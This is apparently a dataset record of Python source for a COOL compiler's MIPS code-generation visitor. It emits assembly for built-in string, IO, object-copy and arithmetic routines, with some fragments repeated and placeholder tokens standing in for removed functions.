self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n 